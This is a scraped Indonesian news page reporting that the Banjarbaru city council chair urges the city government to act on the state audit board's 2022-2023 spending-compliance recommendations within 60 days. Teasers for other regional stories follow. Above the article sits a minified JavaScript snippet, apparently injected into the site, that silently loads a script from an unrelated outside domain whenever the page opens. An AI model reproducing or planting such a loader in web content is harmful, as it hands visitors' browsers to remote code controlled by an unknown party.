(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru diminta memenuhi rekomendasi Badan Pemeriksa Keuangan (BPK) RI terkait Laporan Hasil Pemeriksaan (LHP) kepatuhan atas belanja daerah tahun 2022-2023.
“Sesuai aturan dan ketentuan yang berlaku maka Pemko Banjarbaru memiliki kewajiban untuk memenuhi rekomendasi yang disampaikan BPK RI dalam LHP kepatuhan belanja,” ujar Ketua DPRD Banjarbaru Fadliansyah Akbar, Sabtu (6/1/2024).
Menurut Fadliansyah, Pemko Banjarbaru memiliki waktu selama 60 hari untuk memenuhi rekomendasi BPK RI atas kepatuhan dalam pengelolaan keuangan tahun anggaran 2022-2023 tersebut.
Fadliansyah menuturkan, LHP yang diserahkan BPK RI baik ke Pemko maupun DPRD tentunya menjadi perhatian untuk dipenuhi sehingga tidak menjadi temuan yang dapat menimbulkan kesalahan.
Baca juga: Sule Akan Ganti Vior dengan Inara Rusli
“Setiap LHP tentunya memiliki suatu catatan dalam bentuk rekomendasi yang harus dipenuhi sehingga sudah seharusnya dilengkapi sesuai aturan dan ketentuan yang berlaku,” ucap Fadliansyah.
Pemko Banjarbaru menerima LHP kepatuhan atas belanja daerah tahun 2022-2023 dari BPK RI Perwakilan Kalimantan Selatan.
Wakil Wali Kota Banjarbaru Wartono menerima dokumen kepatuhan atas belanja daerah yang diserahkan oleh Kepala BPK RI Perwakilan Kalsel Rahmadi pada Jumat (5/1/2024).
Dokumen juga diterima Ketua DPRD Banjarbaru Fadliansyah yang hadir pada penyerahan dokumen LHP dari BPK RI Perwakilan Kalsel yang diserahkan kepada Pemprov Kalsel dan sejumlah daerah lainnya. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.